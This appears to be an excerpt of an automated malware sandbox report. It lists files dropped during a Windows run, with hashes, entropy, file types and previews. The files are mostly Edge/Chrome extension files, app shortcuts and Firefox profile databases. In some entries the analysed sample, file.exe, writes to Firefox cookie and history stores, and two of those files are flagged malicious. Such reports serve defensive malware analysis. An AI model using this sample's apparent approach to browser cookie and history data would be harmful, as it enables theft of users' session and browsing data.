SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\c406a16f-6c3a-4e0e-bbf0-4c937b31df4a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 23:14:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9768133914494674
Encrypted:	false
SSDEEP:	48:84dzT7zbHoidAKZdA19ehwiZUklqehqy+3:8wj6py
MD5:	93735FE2239F8442DA1B864DDC3B0E1A
SHA1:	CAB39FD11DD17414D7FF05F85114B3D00751B273
SHA-256:	B9BA2AF16746C4718A3C2C72B224DC5EB5302A47BE818AD47A0759E9B07FF06B
SHA-512:	1BCC00EF5C57089620FBCD19FBE48D5E8068B3C226EA9E2750BA7E16CF03513833521A38039F1752FF550FB6333FB77F4B5686A5778C60F55750F238E9AE25F3
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....U..<=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Jj.=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 23:14:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9934237555086582
Encrypted:	false
SSDEEP:	48:8vzdzT7zbHoidAKZdA1weh/iZUkAQkqehZy+2:8vJjQ9QQy
MD5:	65AFB5D3679FAEA3E8DB33EA7E6802BA
SHA1:	33CAB0EA385BACF58E09F7B9F3316B9A85FB70AC
SHA-256:	432E98CCC1B01BC5B60BCD7BE7783D95813E32E4492172C4232572A3C2316629
SHA-512:	ECD73A9C4A7F33F36A77ADDB8778BB0DD6CACB088EA31B9F01FF8847B5191546736789642D03929AFCB901C1CAA739FC4DD1BB6431C1280D46EE56C7998F0CAD
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....(..<=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Jj.=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0041060694697
Encrypted:	false
SSDEEP:	48:8xMdzT7zsHoidAKZdA14tseh7sFiZUkmgqeh7sny+BX:8x8jNn1y
MD5:	8FA0ABEEA5B5F59CB7385F8FA1D3C9A8
SHA1:	0D5C207BA02DB58F0FADEAD90A6496BCD176A392
SHA-256:	EBC8574DAE2408213B71B73E28480846B04ACFD749541AF3629C4F21150A7381
SHA-512:	ED1216E79283A8831AEE7DC486BD43877BCE6FD2C27A46FB357F5735FD8C86C90C876293EFF8E76DF8D89239D1C3A23660C4C431A0EDFC58787BC3EEEB507EFE
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Jj.=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 23:14:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9909060594462615
Encrypted:	false
SSDEEP:	48:81dzT7zbHoidAKZdA1vehDiZUkwqehNy+R:8bj7/y
MD5:	C01289F161FE1DF3E0BE796369C35D00
SHA1:	A6191D067E391AD2865610233F1DFC28B093E443
SHA-256:	E3F8BE66B6950625872E6E0D0D859A1D20F01F9A3645C50F0031D92AEE583A0A
SHA-512:	1E932EA824D2A9D6F817DFEFE36581EC3E0A47572D82AF6BB12044F5D331F989559EADB91850ED92B3ACFAD45FFC979C60D9AD888A9EC80FC670455982F9504F
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....u..<=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Jj.=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 23:14:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9830686965401703
Encrypted:	false
SSDEEP:	48:8xdzT7zbHoidAKZdA1hehBiZUk1W1qehDy+C:8/jb9jy
MD5:	91537958594E141E90375EB54676B643
SHA1:	5A191AF592063C1758D4D629F10CBF0FC288B47A
SHA-256:	5C84B7169EA6E9318796A3A66D8D472FBEBE9B4DAAD343C745E467F7B9CB9100
SHA-512:	6C5E3D2D6054171484166628E7F0B657DF29F26E02F9C68FD757E115D563ABBFC24BCE0D8378CB0E6FEC0AB92B313780D6B5C259EF26010F7799E788CEC6B967
Malicious:	false
Preview:	L..................F.@.. ...$+.,........<=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Jj.=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 23:14:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.992858087188532
Encrypted:	false
SSDEEP:	48:8UdzT7zbHoidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb1y+yT+:8kj7T/TbxWOvTb1y7T
MD5:	58C4AF00E3DFB9AB629C3605095DEA4B
SHA1:	B34B5B1960D41A4F0E5C50F34F40CB3FDFE01157
SHA-256:	357E7E05ADE641452575D923C9C24568265056B53384846309BC35EE42CA8645
SHA-512:	09122973B4D27BD77CB32C829C2B5FB74DB1BB71CC038877AE08C8CF72F127BE72758EC1FC4EE7A7630C04D1F6D92187347E3218F16C8280ADF80657EEE64731
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....N..<=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IwY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VwY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VwY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VwY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VwY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Jj.=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03450481955529078
Encrypted:	false
SSDEEP:	3:GtlstFdqh8FtzEIP4tlstFdqh8FtzEIXXJ89//alEl:GtWtih83hAtWtih83hp89XuM
MD5:	07D231335218CBF42B0F675E75CEA3DA
SHA1:	A18B5747C04C6AFBAFCADE9C09349151E1DFA1CA
SHA-256:	4C5712943048578E75F8C01D4AE0EB3AC1A4B7321D26A2732A07BB62846CDB8F
SHA-512:	4950B0F2BE533B92E9039246A1A71E2349080B0DFECCC2EA1446D25D8136302EFC3342F818FBADEB53A8630A8E858BB32B481BE0EEA6B154D6CA90C2EDD619F8
Malicious:	true
Preview:	..-.......................T...h.`w.E{W.2.n)is-.>..-.......................T...h.`w.E{W.2.n)is-.>........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.038884847758028036
Encrypted:	false
SSDEEP:	3:Ol1F4N3l/olNFeyS3vmj7lrl8rEXsxdwhml8XW3R2:KniVged3vGtl8dMhm93w
MD5:	CACFBA1FD61105BAB99E19922B913EE0
SHA1:	0C4D879CEC5FACA9372CC9D253DD1F3C671FF3B6
SHA-256:	871774B97129262B175F1805A1919923C800D73FFCC9FE691D6B95F77E3C8C54
SHA-512:	ED75F445471C47F64067777464BEE3D30EEC273B9C4BA7D9E7600DE5B9AE9D39252B2ED887D2C8FC32038B2327DC23F779F5EBB19AB1EF8865E311322C985A0E
Malicious:	true
Preview:	7....-..........`w.E{W.2..zs............`w.E{W.2.T...h..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11703
Entropy (8bit):	5.467748018861326
Encrypted:	false
SSDEEP:	192:NnPOeRnLYbBp6fJ0aX+H6SEXKKNjwn5RHWNBw8d4Sl:pDeGJUadjyHEwX0
MD5:	0D9B531C668BE5804D53240AB692E35F
SHA1:	987871BDB602BF5EDF05A06DCDAD71328BE366C6
SHA-256:	474231A9577D4BEE37B227B5EE544029711BC64AF45D9D245861AC0936EEB408
SHA-512:	8248C8D8F77379D8DBCC9EB6396BE45E8B8E2FDFE398422AE8ACD4466B719CFB0F757BC33BFBEA6EE2327EA3634610284775E7A1D7B47ABB4ED61BF95DB5E2CA
Malicious:	false
